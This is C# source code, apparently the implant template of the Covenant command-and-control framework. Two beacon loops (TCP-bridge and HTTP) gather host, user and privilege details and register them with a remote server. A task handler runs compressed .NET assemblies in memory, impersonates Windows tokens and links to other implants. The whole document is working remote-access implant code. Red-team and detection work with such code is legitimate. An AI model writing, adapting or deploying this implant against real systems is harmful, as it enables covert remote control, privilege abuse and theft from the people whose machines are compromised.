public static void Execute(string CovenantURI, string GUID, Aes SessionKey, TcpClient client) { try { int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n"); string ProfileReadFormat = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n"); string Hostname = Dns.GetHostName(); string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) { if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { IPAddress = a.ToString(); break; } } string OperatingSystem = Environment.OSVersion.ToString(); string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; int Integrity = 2; if (Environment.UserName.ToLower() == "system") { Integrity = 4; } else { var identity = WindowsIdentity.GetCurrent(); if (identity.Owner != identity.User) { Integrity = 3; } } string UserDomainName = Environment.UserDomainName; string UserName = Environment.UserName; string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; BridgeMessenger baseMessenger = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat); baseMessenger.client = client; baseMessenger.stream = client.GetStream(); TaskingMessenger messenger = new TaskingMessenger ( new MessageCrafter(GUID, SessionKey), baseMessenger, new Profile(ProfileWriteFormat, ProfileReadFormat, GUID) ); messenger.WriteTaskingMessage(RegisterBody); messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); try { // A blank upward write, this helps in some cases with an HTTP Proxy messenger.WriteTaskingMessage(""); } catch (Exception) { } List <KeyValuePair <string, Thread> > Jobs = new List <KeyValuePair <string, Thread> >(); WindowsImpersonationContext impersonationContext = null; Random rnd = new Random(); int ConnectAttemptCount = 0; bool alive = true; while (alive) { int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); if (rnd.Next(2) == 0) { change = -change; } Thread.Sleep((Delay + change) * 1000); try { GruntTaskingMessage message = messenger.ReadTaskingMessage(); if (message == null) { ConnectAttemptCount++; } else { ConnectAttemptCount = 0; string output = ""; if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts) { if (int.TryParse(message.Message, out int val)) { if (message.Type == GruntTaskingType.SetDelay) { Delay = val; output += "Set Delay: " + Delay; } else if (message.Type == GruntTaskingType.SetJitter) { Jitter = val; output += "Set Jitter: " + Jitter; } else if (message.Type == GruntTaskingType.SetConnectAttempts) { ConnectAttempts = val; output += "Set ConnectAttempts: " + ConnectAttempts; } } else { output += "Error parsing: " + message.Message.Split(',')[1]; } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Type == GruntTaskingType.Kill) { output += "Killed"; messenger.WriteTaskingMessage(output, message.Name); return; } else if (message.Type == GruntTaskingType.Jobs) { if (!Jobs.Where(J => J.Value.IsAlive).Any()) { output += "No active tasks!"; } else { output += "Task Status" + Environment.NewLine; output += "---- ------" + Environment.NewLine; output += String.Join(Environment.NewLine, Jobs.Where(J => J.Value.IsAlive).Select(J => J.Key + " Active").ToArray()); } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Token) { if (impersonationContext != null) { impersonationContext.Undo(); } IntPtr impersonatedToken = IntPtr.Zero; Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message)); t.Start(); Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t)); bool completed = t.Join(5000); if (completed && impersonatedToken != IntPtr.Zero) { try { WindowsIdentity identity = new WindowsIdentity(impersonatedToken); impersonationContext = identity.Impersonate(); } catch (ArgumentException) { } } else { impersonationContext = null; } } else { Thread t = new Thread(() => TaskExecute(messenger, message)); t.Start(); Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t)); } } } catch (ObjectDisposedException e) { ConnectAttemptCount++; messenger.WriteTaskingMessage(""); } catch (Exception e) { ConnectAttemptCount++; Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); } if (ConnectAttemptCount >= ConnectAttempts) { return; } if (KillDate.CompareTo(DateTime.Now) < 0) { return; } } } catch (Exception e) { Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); } }
public static void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey) { try { int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); List <string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); List <string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); string Hostname = Dns.GetHostName(); string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) { if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { IPAddress = a.ToString(); break; } } string OperatingSystem = Environment.OSVersion.ToString(); string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; int Integrity = 2; if (Environment.UserName.ToLower() == "system") { Integrity = 4; } else { var identity = WindowsIdentity.GetCurrent(); if (identity.Owner != identity.User) { Integrity = 3; } } string UserDomainName = Environment.UserDomainName; string UserName = Environment.UserName; string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; IMessenger baseMessenger = null; baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls); baseMessenger.Read(); baseMessenger.Identifier = GUID; TaskingMessenger messenger = new TaskingMessenger ( new MessageCrafter(GUID, SessionKey), baseMessenger, new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse) ); messenger.WriteTaskingMessage(RegisterBody); messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); try { // A blank upward write, this helps in some cases with an HTTP Proxy messenger.WriteTaskingMessage(""); } catch (Exception) {} List <KeyValuePair <string, Thread> > Jobs = new List <KeyValuePair <string, Thread> >(); WindowsImpersonationContext impersonationContext = null; Random rnd = new Random(); int ConnectAttemptCount = 0; bool alive = true; while (alive) { int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); if (rnd.Next(2) == 0) { change = -change; } Thread.Sleep((Delay + change) * 1000); try { GruntTaskingMessage message = messenger.ReadTaskingMessage(); if (message != null) { ConnectAttemptCount = 0; string output = ""; if (message.Type == GruntTaskingType.SetOption) { string[] split = message.Message.Split(','); if (split.Length >= 2 && int.TryParse(split[1], out int val)) { if (split[0].Equals("Delay", StringComparison.CurrentCultureIgnoreCase)) { Delay = val; output += "Set Delay: " + Delay; } else if (split[0].Equals("JitterPercent", StringComparison.CurrentCultureIgnoreCase)) { Jitter = val; output += "Set JitterPercent: " + Jitter; } else if (split[0].Equals("ConnectAttempts", StringComparison.CurrentCultureIgnoreCase)) { ConnectAttempts = val; output += "Set ConnectAttempts: " + ConnectAttempts; } } else { output += "Error parsing SetOption: " + message.Message; } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Type == GruntTaskingType.Exit) { output += "Exited"; messenger.WriteTaskingMessage(output, message.Name); return; } else if (message.Type == GruntTaskingType.Jobs) { if (!Jobs.Where(J => J.Value.IsAlive).Any()) { output += "No active tasks!"; } else { output += "Task Status" + Environment.NewLine; output += "---- ------" + Environment.NewLine; output += String.Join(Environment.NewLine, Jobs.Where(J => J.Value.IsAlive).Select(J => J.Key + " Active").ToArray()); } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Token) { if (impersonationContext != null) { impersonationContext.Undo(); } IntPtr impersonatedToken = IntPtr.Zero; impersonatedToken = TaskExecute(messenger, message); if (impersonatedToken != IntPtr.Zero) { try { WindowsIdentity identity = new WindowsIdentity(impersonatedToken); impersonationContext = identity.Impersonate(); } catch (ArgumentException) { } } else { impersonationContext = null; } } else { Thread t = new Thread(() => TaskExecute(messenger, message)); t.Start(); Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t)); } } } catch (ObjectDisposedException e) { ConnectAttemptCount++; messenger.WriteTaskingMessage(""); } catch (Exception e) { ConnectAttemptCount++; Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); } if (ConnectAttemptCount >= ConnectAttempts) { return; } if (KillDate.CompareTo(DateTime.Now) < 0) { return; } } } catch (Exception e) { Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); } }
private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message) { const int MAX_MESSAGE_SIZE = 1048576; string output = ""; try { if (message.Type == GruntTaskingType.Assembly) { string[] pieces = message.Message.Split(','); if (pieces.Length > 0) { object[] parameters = null; if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; } for (int i = 1; i < pieces.Length; i++) { parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); } byte[] compressedBytes = Convert.FromBase64String(pieces[0]); byte[] decompressedBytes = Utilities.Decompress(compressedBytes); Assembly gruntTask = Assembly.Load(decompressedBytes); PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream"); string results = ""; Thread invokeThread = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters)); if (streamProp == null) { invokeThread.Start(); } else { using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) { using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) { streamProp.SetValue(null, pipeClient, null); DateTime lastTime = DateTime.Now; invokeThread.Start(); using (StreamReader reader = new StreamReader(pipeServer)) { char[] read = new char[MAX_MESSAGE_SIZE]; int count; string currentRead = ""; while ((count = reader.Read(read, 0, read.Length)) > 0) { try { currentRead += new string(read, 0, count); if (currentRead.Length >= MAX_MESSAGE_SIZE) { for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) { string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); try { GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead); messenger.QueueTaskingMessage(response.ToJson(), message.Name); messenger.WriteTaskingMessage(); } catch (Exception) {} } currentRead = ""; lastTime = DateTime.Now; } } catch (Exception) { currentRead = ""; } } output += currentRead; } } } } invokeThread.Join(); output += results; } } else if (message.Type == GruntTaskingType.Connect) { string[] split = message.Message.Split(','); bool connected = messenger.Connect(split[0], split[1]); output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" : "Connection to " + split[0] + ":" + split[1] + " failed."; } else if (message.Type == GruntTaskingType.Disconnect) { bool disconnected = messenger.Disconnect(message.Message); output += disconnected ? "Disconnect succeeded!" : "Disconnect failed."; } } catch (Exception e) { try { GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace); messenger.QueueTaskingMessage(response.ToJson(), message.Name); messenger.WriteTaskingMessage(); } catch (Exception) { } } finally { for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE) { string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i)); try { GruntTaskingStatus status = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed; GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead); messenger.QueueTaskingMessage(response.ToJson(), message.Name); messenger.WriteTaskingMessage(); } catch (Exception) {} } } return(WindowsIdentity.GetCurrent().Token); }